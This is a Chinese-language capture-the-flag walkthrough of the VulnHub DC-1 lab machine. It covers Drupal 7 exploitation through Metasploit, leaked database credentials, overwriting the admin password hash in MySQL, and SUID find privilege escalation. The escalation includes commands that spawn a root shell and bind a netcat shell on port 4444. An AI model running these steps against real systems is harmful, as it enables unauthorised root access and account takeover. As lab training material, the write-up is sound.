下载地址DC: 1 ~ VulnHub
DC系列一共九个靶机,每个靶机五个flag。
信息收集
先用nmap扫IP,端口
发现一个陌生的端口111,是rpcbind服务,当时第一反应就是去搜搜这个端口有什么洞能用,结果啥都没有
访问网站:是一个Drupal7网站
web
上MSF寻找exp,有七八个,从最新的开始试(时间越久漏洞越容易被修复);
用18年的那个exp
flag1.txt就在这下边。
Every good CMS needs a config file - and so do you.
数据库
flag1提示CMS的config文件,在/var/www/sites/default/settings.php
出现了flag2和数据库的用户名和密码
dbuser
R0ck3t
尝试登录数据库,
先打开一个交互式会话,普通会话mysql不会回显
shell 获取普通shell
python -c ‘import pty; pty.spawn(“/bin/bash”)’ 获取交互式shell
找网站的数据库,需要admin的密码(我这个是修改过之后的,原来的没保留)
是加密的,没见过,搜了搜是Drupal7的加密
Drupal7的密码加密脚本文件为/scripts/password-hash.sh
自己设置一个密码
注意:只能在www目录下使用这个脚本,不知道为什么,不然会报错
然后进入MySQL数据库修改users表,将你自己加密的密码修改为admin的密码
update users set pass="$S$DSEkTHN8z7ETTiz/Yl21jwAlgu4tPFUSdLxPwym3fCH/EUwpkaN3" where uid=1
登录网站,找到flag3
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
关键字passwd和shadow
shadow没访问权限
passwd中有flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
SUID之find提权
关键字find?find能suid提权,查找有没有suid权限
find / -user root -perm -4000 -print 2>/dev/null
有,那就提权,最后一个flag就在root目录下
find提权
cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下
find xxx -exec whoami \;
find xxx -exec /bin/sh \; 利用find得到一个root权限的shell
find xxx -exec nc -lvp 4444 -e /bin/sh \;利用nc反弹一个root权限的shell
前提是linux靶场有nc工具,并且攻击机开启了监听
攻击机 靶场ip 4444
总结
这个靶场还是比较综合的,要对Drupal有一定的了解,不然网站都登不上去